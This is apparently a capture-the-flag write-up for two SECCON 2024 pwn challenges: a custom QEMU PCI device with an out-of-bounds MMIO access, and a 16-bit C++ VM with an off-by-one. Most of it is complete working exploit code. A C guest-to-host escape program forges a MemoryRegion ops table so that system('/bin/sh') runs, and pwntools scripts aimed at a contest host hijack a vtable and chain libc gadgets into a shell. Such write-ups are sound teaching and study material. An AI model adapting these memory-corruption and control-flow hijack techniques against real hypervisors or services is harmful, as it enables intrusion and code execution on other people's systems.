[SECCON 2024] Pwn - Baby QEMU & TOY_2 Writeups
BabyQEMU
Vulnerability
This challenge implements a QEMU virtual char type PCI device, the device characteristics can be found in the header file corresponding to the following PCI device path in the file system:
Looking at the source code of the BABY device, it registers a section of mmio memory and implements the read/write methods respectively, and the vulnerability is usually found in the callback functions of these two methods:
static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
PCIBabyDevState *ms = opaque;
struct PCIBabyDevReg *reg = ms->reg_mmio;
debug_printf("addr:%lx, size:%d\n", addr, size);
switch(addr){
case MMIO_GET_DATA:
debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
return *(uint64_t*)&ms->buffer[reg->offset];
}
return -1;
}
static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
PCIBabyDevState *ms = opaque;
struct PCIBabyDevReg *reg = ms->reg_mmio;
debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);
switch(addr){
case MMIO_SET_OFFSET:
reg->offset = val;
break;
case MMIO_SET_OFFSET+4:
reg->offset |= val << 32;
break;
case MMIO_SET_DATA:
debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
*(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
break;
}
}
static const MemoryRegionOps pci_babydev_mmio_ops = {
.read = pci_babydev_mmio_read,
.write = pci_babydev_mmio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
};
The following are the key architectures of the device:
struct PCIBabyDevReg {
off_t offset;
uint32_t data;
};
#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)
struct PCIBabyDevState {
PCIDevice parent_obj;
MemoryRegion mmio;
struct PCIBabyDevReg *reg_mmio;
uint8_t buffer[0x100];
};
As you can see from the program logic, mmio_write
can control the value of reg->offset
high and low respectively 4 bytes, and then read and write to buffer[reg->offset]
in mmio_write
and mmio_read
respectively. The buffer[reg->offset]
is located in the PCIBabyDevState
structure of the device and is only 0x100 bytes long, which now creates an out-of-bounds read or write. This is the key vulnerability of the challenge.
Exploit
The PCIBabyDevState
structure is created in QEMU's dynamic memory as the device is initialized, and it is actually a huge structure when expanded, meaning that there are many key pointers before and after the buffer that can be utilized. At its simplest, the ELF base address and libc base address leaks are simple.
The first thing we need to do is leak the ELF base and buffer heap addresses.
unsigned long elf_leak = -1;
set_offset(0x130);
elf_leak = (unsigned long)read_data();
set_offset(0x134);
elf_leak += (unsigned long)read_data() << 32;
printf("ELF leak: 0x%lx\n", elf_leak);
unsigned long elf_base = elf_leak - 0x7b44a0;
unsigned long system_plt = elf_base + 0x324150;
printf("system@plt: 0x%lx\n", system_plt);
unsigned long heap_leak = -1;
set_offset(-0x38);
heap_leak = (unsigned long)read_data();
set_offset(-0x38+4);
heap_leak += (unsigned long)read_data() << 32;
printf("HEAP leak: 0x%lx\n", heap_leak);
unsigned long buf_addr = heap_leak + 0x40;
printf("buf addr: 0x%lx\n", buf_addr);
Then we're going to complete the control flow hijacking with MemoryRegion mmio
as it unfolds with the following structure:
The ops
are a table of callback functions that contain registration points for the mmio_write
and mmio_read
function pointers, and the first parameter is the opaque
(device object itself) which sits in a contiguous section of memory with the buffer and which we can control.
The next solution is simple, we fake an ops in the buffer and emulate it according to the following memory layout. Where mmio_read
is changed to the address of system@plt
and the very beginning of the opaque object is overwritten with the string "/bin/sh\x00"
. This way, when we trigger mmio_read
again, the control flow will be hijacked to execute system("/bin/sh")
.
unsigned long fake_ops_table_off = 0x80;
unsigned long fake_ops_table_addr = buf_addr + fake_ops_table_off;
printf("fake ops table addr: 0x%lx\n", fake_ops_table_addr);
printf("fake ops table off: 0x%lx\n", fake_ops_table_off);
/*
+0000 0x555556271100 70 21 90 55 55 55 00 00 b0 21 90 55 55 55 00 00 │p!.UUU..│.!.UUU..│
+0010 0x555556271110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0020 0x555556271120 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0030 0x555556271130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0040 0x555556271140 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0050 0x555556271150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
*/
set_offset(fake_ops_table_off+0x20);
write_data(0x2);
set_offset(fake_ops_table_off+0x40);
write_data(0x1);
set_offset(fake_ops_table_off+0x44);
write_data(0x4);
set_offset(fake_ops_table_off+0x0);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0x4);
write_data(system_plt >> 32);
set_offset(fake_ops_table_off+0x8);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0xc);
write_data(system_plt >> 32);
Code
// gcc exp.c -o ./release/rootfs/exp --static -s
// QEMU exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stddef.h>
#define BABY_PCI_VENDOR_ID 0x4296
#define BABY_PCI_DEVICE_ID 0x1338
struct PCIBabyDevReg {
off_t offset;
uint32_t data;
};
#define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data)
const char baby_pci_mmio_path[] = "/sys/bus/pci/devices/0000:00:04.0/resource0";
char *mmio = NULL;
int open_device(){
int fd = open(baby_pci_mmio_path, O_RDWR);
if(fd < 0){
perror("open");
exit(1);
}
return fd;
}
int init_mmio(int fd){
mmio = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio == MAP_FAILED){
perror("mmap");
exit(1);
}
return 0;
}
void write_mmio_int32(uint64_t addr, uint32_t val){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
*(uint32_t *)(mmio + addr) = val;
}
void write_mmio_int64(uint64_t addr, uint64_t val){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
*(uint64_t *)(mmio + addr) = val;
}
uint32_t read_mmio_int32(uint64_t addr){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
return *(uint32_t *)(mmio + addr);
}
uint64_t read_mmio_int64(uint64_t addr){
if (!mmio){
perror("mmio not initialized");
exit(1);
}
return *(uint64_t *)(mmio + addr);
}
int set_offset(uint64_t offset){
write_mmio_int64(MMIO_SET_OFFSET, offset);
return 0;
}
int write_data(uint32_t data){
write_mmio_int32(MMIO_SET_DATA, data);
return 0;
}
uint32_t read_data(){
return read_mmio_int32(MMIO_GET_DATA);
}
int main(){
int dev_fd = open_device();
if(dev_fd < 0){
perror("open_device");
exit(1);
}
init_mmio(dev_fd);
printf("mmio mmap: %p\n", mmio);
/* set_offset(0x0);
write_data(0xdeadbeef);
printf("Read data: 0x%x\n", read_data());
set_offset(0x4);
write_data(0xdeadbeef);
*/
// leak
unsigned long elf_leak = -1;
set_offset(0x130);
elf_leak = (unsigned long)read_data();
set_offset(0x134);
elf_leak += (unsigned long)read_data() << 32;
printf("ELF leak: 0x%lx\n", elf_leak);
unsigned long elf_base = elf_leak - 0x7b44a0;
unsigned long system_plt = elf_base + 0x324150;
printf("system@plt: 0x%lx\n", system_plt);
unsigned long heap_leak = -1;
set_offset(-0x38);
heap_leak = (unsigned long)read_data();
set_offset(-0x38+4);
heap_leak += (unsigned long)read_data() << 32;
printf("HEAP leak: 0x%lx\n", heap_leak);
unsigned long buf_addr = heap_leak + 0x40;
printf("buf addr: 0x%lx\n", buf_addr);
// check ops_ptr
//unsigned long ops_ptr = -1;
//set_offset(-0xc8);
//ops_ptr = (unsigned long)read_data();
//set_offset(-0xc8+4);
//ops_ptr += (unsigned long)read_data() << 32;
//printf("ops ptr: 0x%lx\n", ops_ptr);
// hijack ops_table
unsigned long fake_ops_table_off = 0x80;
unsigned long fake_ops_table_addr = buf_addr + fake_ops_table_off;
//unsigned long fake_ops_table_addr = elf_base + 0x19fb000;
//unsigned long fake_ops_table_off = - (buf_addr - fake_ops_table_addr);
printf("fake ops table addr: 0x%lx\n", fake_ops_table_addr);
printf("fake ops table off: 0x%lx\n", fake_ops_table_off);
/*
+0000 0x555556271100 70 21 90 55 55 55 00 00 b0 21 90 55 55 55 00 00 │p!.UUU..│.!.UUU..│
+0010 0x555556271110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0020 0x555556271120 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0030 0x555556271130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0040 0x555556271140 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 │........│........│
+0050 0x555556271150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │........│........│
*/
set_offset(fake_ops_table_off+0x20);
write_data(0x2);
set_offset(fake_ops_table_off+0x40);
write_data(0x1);
set_offset(fake_ops_table_off+0x44);
write_data(0x4);
set_offset(fake_ops_table_off+0x0);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0x4);
write_data(system_plt >> 32);
set_offset(fake_ops_table_off+0x8);
write_data(system_plt & 0xffffffff);
set_offset(fake_ops_table_off+0xc);
write_data(system_plt >> 32);
puts("fake ops table created");
// write "/bin/sh\x00"(0x68732f6e69622f) into opaque
unsigned long opaque_off = -0xbf8;
set_offset(opaque_off);
write_data(0x68732f6e69622f & 0xffffffff);
set_offset(opaque_off+4);
write_data(0x68732f6e69622f >> 32);
puts("wrote /bin/sh into opaque");
// hijack ops_ptr
unsigned long ops_ptr_pff = -0xc8;
set_offset(ops_ptr_pff);
write_mmio_int32(MMIO_SET_DATA, fake_ops_table_addr & 0xffffffff);
puts("hijacked ops_ptr");
// trigger
read_data();
return 0;
}
TOY_2
The challenge provides a 16bit risc-VM written in cpp.
The exploit happens in case 13(STT): the valid addr (or addr & (0x1000-1) ,specificly) ranges from 0 to 0xfff, and will do:
- mem[addr]=val&0xff
- mem[addr+1]=val>>8
So when addr = 0xfff, there will be an off-by-one. In GDB, we can see that this one byte is just the lowest byte of the mem pointer. (and the next 8 byte is the uint16_t size of the std::span object)
In that case, we can do mem:=mem+0x10
by this:
a:=0x00c8 # mem is an heap pointer and mem&0xff=0xb8=0xc8-0x10
t:=a
a:=0xfff # off by one
stt
But the pc pointer will jump to the former pc+0x10, because the fetch_and_decode()
also uses mem[regs.pc] to fetch code. And there will be several times of rebase like this during the whole exp😭.
After that, we can increase the size of the memory space. But it doesn't help a lot, since the size is stored as uint16_t, and should be correct when executing addr&(size-1)
. So we set size to 0x8000.
Back to the VM insts, we can know that when a pointer drops in space ranging from mem
to mem+size
, we can use adc or another insts to write a program to calculate the offset, and forge fake structure, without leaking them to stdout.
Now there is a heap pointer in this space. And now the vtable pointer of the object drops at the mem-0x18
, so we should do mem:=mem-0x20
and rebase again 😭.
Back to the VM insts again, when we use case 7 illegal
, the VM will raise an error and back to the main function to execute the handler. After printing Done
the program will call object->dump() (0x8 of the vtable). So we can forge a fake vtable in memory to trigger the fake handler, and hijack the control flow.
We have heap
pointer of mem and text
pointer of vtable now, and need libc
pointer.
Luckily, after calling the error handler, there will be a new chunk on the heap, just after our VM object, with a lot of pointers from libstdc++
. In the same ubuntu machine, the offset between libc
and libstdc++
will be an unknown constant, so we can try to calculate it.(Fortunately the local offset in my VM and the remote offset are the same, in the same docker environment)
So we can draw a route:
- Rebase the mem to increase the size of VM-memory, and enclose the
heap
text
pointers, as well as the vtable member of the object. - Forge a new vtable with its dump function as main, and make the obj->vtable point to it.
- Execute inst 7, to trigger the error handler, malloc a handler chunk after the VM object, and run main function again.
The main function will alloc a new VM object, whose memory space drops after the error handler chunk.
- Now the heapspace is like:
[-----------old VM----------]|[--error-hndl--]|[-----------new VM----------]
- +
- Do Step 1 in the new VM again. Then rebase it again (
mem:=mem-0x60
in my exp) to enclose anlibstdc++
pointer. - Make fake vtable again, to hijack the control flow with gadget in
libc
. - Execute inst 7 and getshell.
To get shell,forge a vtable like that:
heap_mem_1:
fake_vtable+0 = heap_mem_2
fake_vtable+8 = gadget1
fake_vtable+0x18 = gadget2
fake_vtable+0x18 = system_addr
---
heap_mem_2:
+0x00: "/bin/sh\x00"
...
+0x38: &fake_vtable
gadget1:mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
gadget2:call qword ptr [rax + 0x20]
We use gadget2 to call again to align the stack pointer before calling system.
Scripts
exp.py:
from pwn import *
from data import dt,getdt2
def pack_code(op, addr):
c = (op << 12) | (addr & 0xfff)
return p16(c)
#p = remote('127.0.0.1', 8887)
p=remote('toy-2.seccon.games',5000)
# sleep(0.2)
def stt():
return pack_code(13,0)
def lda(x):
return pack_code(14,x)
def tat():
return pack_code(5,0)
def ill():
return pack_code(7,0)
def ldc(x):
return pack_code(9,x)
def adc(x):
return pack_code(1,x)
def ldi():
return pack_code(12,0)
def jmp(x):
return pack_code(0,x)
def anda(x):
return pack_code(8,x)
def bcc(x):
return pack_code(10,x)
def r2(x):
return x+0x20
targ=r2(0xc00)
code = b"".join([
lda(0x802), #0
tat(),
lda(0x800),
stt(), # offset +0x10
lda(r2(0x810)),#8
ldi(),
tat(),
lda(r2(0x80e)),
stt(),
lda(r2(0x814)),
ldi(),
jmp(r2(0x81a)),
lda(0x804), #18
tat(),
lda(0x806),
stt(),
lda(0x808), #20
tat(),
lda(0x80a),
stt(),
tat(),#28
lda(r2(0x812)),
stt(),
lda(r2(0x818)),
ldi(),#30
tat(),
lda(r2(0x816)),
stt(),
# ofs+text=main -> targ+8
lda(r2(0x81c)),#38
adc(8),
tat(),
lda(r2(0x820)),
stt(),#40
lda(r2(0x81e)),
adc(0xa),
tat(),
lda(r2(0x822)),#48
stt(),
lda(r2(0x81e)),
adc(0xc),
tat(),#50
lda(r2(0x824)),
stt(),
lda(r2(0x81e)),
adc(0xe),#58
tat(),
lda(r2(0x826)),
stt(),
#heap + ofs -> virtual
ldc(r2(0x828)),#ldc! #60
adc(targ),
tat(),
lda(r2(0x82c)),
stt(),#68
lda(r2(0x82a)),
adc(targ+2),
tat(),
lda(r2(0x82e)),#70
stt(),
lda(r2(0x82a)),
adc(targ+4),
tat(),#78
lda(r2(0x830)),
stt(),
ill(),
lda(r2(0x828)),#<--back
ill(),
])
print(hex(u64(code[0:8])))
payload=code.ljust(0x800,b"\0")
payload+=dt
payload = payload.ljust(4096, b'\x00')
# print(payload)
p.send(payload)
pause()
#new payload at 0x5a7b9b3123c8
#leak stdcpp at 0x5a7b9b312360 ofs 0x26eff0
def r3(x):
return r2(x)+0x60
targ=r3(0xc00)
code2 = b"".join([
lda(0x802), #0
tat(),
lda(0x800),
stt(), # offset +0x10
lda(r2(0x810)),#8
ldi(),
tat(),
lda(r2(0x80e)),
stt(),#10
lda(r2(0x814)),
ldi(),
jmp(r2(0x81a)),
lda(0x804), #18
tat(),
lda(0x806),
stt(),
lda(0x808), #20
tat(),
lda(0x80a),
stt(),
tat(),#28
lda(r2(0x812)),
stt(),
lda(r2(0x818)),
ldi(),#30
tat(),
lda(r2(0x816)),
stt(),
# ofs+text=main -> targ+8
lda(r2(0x81c)),#38
adc(8),
tat(),
lda(r2(0x820)),
stt(),#40
lda(r2(0x81e)),
adc(0xa),
tat(),
lda(r2(0x822)),#48
stt(),
lda(r2(0x81e)),
adc(0xc),
tat(),#50
lda(r2(0x824)),
stt(),
lda(r2(0x81e)),
adc(0xe),#58
tat(),
lda(r2(0x826)),
stt(),
]+[
jmp(r2(0x838)),#60
jmp(r3(0x83a)),
ill()
]
+[tat()]*(0x31-3-4)
+[
lda(r2(0x834)),#ba
tat(),#bc
lda(r2(0x836)),#be
stt(),#c0
]+[
#make system to fakevt+0x18
ldc(r3(0x83c)),#0xc2
adc(8),
tat(),
lda(r3(0x846)),
stt(),
lda(r3(0x83e)),
adc(0xa),
tat(),
lda(r3(0x848)),
stt(),
lda(r3(0x844)),
adc(0xc),
tat(),
lda(r3(0x84a)),
stt(),
lda(r3(0x844)),
adc(0xe),
tat(),
lda(r3(0x84c)),
stt(),
#make gadget to fakevt+0x8
ldc(r3(0x840)),#0xc2
adc(8),
tat(),
lda(r3(0x84e)),
stt(),
lda(r3(0x842)),
adc(0xa),
tat(),
lda(r3(0x850)),
stt(),
lda(r3(0x844)),
adc(0xc),
tat(),
lda(r3(0x852)),
stt(),
lda(r3(0x844)),
adc(0xe),
tat(),
lda(r3(0x854)),
stt(),
#ptr to binsh
ldc(r3(0x85e)),#0xc2
adc(0xce0),
tat(),
lda(r3(0x856)),
stt(),
lda(r3(0x860)),
adc(0xce2),
tat(),
lda(r3(0x858)),
stt(),
lda(r3(0x860)),
adc(0xce4),
tat(),
lda(r3(0x85a)),
stt(),
lda(r3(0x860)),
adc(0xce6),
tat(),
lda(r3(0x85c)),
stt(),
#ptr binsh+0x38
ldc(r3(0x862)),#0xc2
adc(0xce0),
tat(),
lda(r3(0x864)),
stt(),
lda(r3(0x860)),
adc(0xce2),
tat(),
lda(r3(0x866)),
stt(),
lda(r3(0x860)),
adc(0xce4),
tat(),
lda(r3(0x868)),
stt(),
lda(r3(0x860)),
adc(0xce6),
tat(),
lda(r3(0x86a)),
stt(),
#hijack vtable
ldc(0xd70+0x38+0),
tat(),
ldc(r3(0x86c)),
stt(),
ldc(0xd70+0x38+2),
tat(),
ldc(r3(0x86c+2)),
stt(),
ldc(0xd70+0x38+4),
tat(),
ldc(r3(0x86c+4)),
stt(),
ldc(0xd70+0x38+6),
tat(),
ldc(r3(0x86c+6)),
stt(),
#set gad2 to fakevt+0x18
ldc(r3(0x87c)),#0xc2
adc(8),
tat(),
lda(r3(0x874)),
stt(),
lda(r3(0x87e)),
adc(0xa),
tat(),
lda(r3(0x876)),
stt(),
lda(r3(0x844)),
adc(0xc),
tat(),
lda(r3(0x878)),
stt(),
lda(r3(0x844)),
adc(0xe),
tat(),
lda(r3(0x87a)),
stt(),
ill(),
]
)
print(hex(u64(code[0:8])))
payload=code2.ljust(0x800,b"\0")
payload+=getdt2()
payload=payload.ljust(0x800+0x500,b"\0")
payload+=b"/bin/sh\0"
payload = payload.ljust(4096, b'\x00')
p.send(payload)
p.interactive()
data.py
targ=0xc20
from pwn import *
dt=b"".join([
p16(0x0fff),#0
p16(0xc8c8),#2
b"\0"*0x10,
p16(0x0080),#4
p16(0x0ff9),#6
p16(0xa800),#8
p16(0x0fef),#a
p16(0x2333),#c
p16(targ),#e
p16(0x1010),#10
p16(targ+2),#12
p16(0x1012),#14
p16(targ+4),#16
p16(0x1014),#18
p16(0x28+0x10),#1a
p16(0xda60),#1c
p16(0xffff),#1e
p16(targ+8),#20
p16(targ+0xa),#22
p16(targ+0xc),#24
p16(targ+0xe),#26
p16(0xc20),#28
p16(0),#2a
p16(8),#2c
p16(0xa),#2e
p16(0xc),#30
p16(0xe),#32
])
#0x0000000000171cf6 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
def getdt2(ofs=0x240000):
stdcpp_ofs=0x26eff0
syst_ofs=-stdcpp_ofs-ofs+0x58740+2**64
gadget_ofs=-stdcpp_ofs-ofs+0x171cf6+2**64
gad2_ofs=0x00000000000958ea-stdcpp_ofs-ofs+2**64
targ=0xc20+0x60
fakevt=0xe00
dt2=b"".join([
p16(0x0fff),#0
p16(0xd8d8),#2
b"\0"*0x10,
p16(0x0080),#4
p16(0x0ff9),#6
p16(0xb800),#8
p16(0x0fef),#a
p16(0x2333),#c
p16(targ),#e
p16(0x1010),#10
p16(targ+2),#12
p16(0x1012),#14
p16(targ+4),#16
p16(0x1014),#18
p16(0x28+0x10),#1a
p16(0xda60),#1c
p16(0xffff),#1e
p16(targ+8),#20
p16(targ+0xa),#22
p16(targ+0xc),#24
p16(targ+0xe),#26
p16(0xc20),#28
p16(0),#2a
p16(8),#2c
p16(0xa),#2e
p16(0xc),#30
p16(0xe),#32
p16(0x5800),#34
p16(0x100f),#36
p16(0x00ba+0x10),#38
p16(0xc2+0x10+0x60),#3a
p64(syst_ofs)[0:2],#3c
p64(syst_ofs)[2:4],#3e
p64(gadget_ofs)[0:2],#40
p64(gadget_ofs)[2:4],#42
p16(0xffff),#44
p16(fakevt+0x18+8),#46
p16(fakevt+0x1a+8),#48
p16(fakevt+0x1c+8),#4a
p16(fakevt+0x1e+8),#4c
p16(fakevt+0x8),#4e
p16(fakevt+0xa),#50
p16(fakevt+0xc),#52
p16(fakevt+0xe),#54
p16(fakevt+0),#56
p16(fakevt+2),#58
p16(fakevt+4),#5a
p16(fakevt+6),#5c
p16(0xd10),#5e
p16(0),#60
p16(0xda0),#62
p16(0xd70+0x38+0),#64
p16(0xd70+0x38+2),#66
p16(0xd70+0x38+4),#68
p16(0xd70+0x38+6),#6a
p16(0x68),#6c
p16(0x68+2),#6e
p16(0x68+4),#70
p16(0x68+8),#72
p16(fakevt+0x18),#74
p16(fakevt+0x1a),#76
p16(fakevt+0x1c),#78
p16(fakevt+0x1e),#7a
p64(gad2_ofs)[0:2],#7c
p64(gad2_ofs)[2:4],#7e
])
return dt2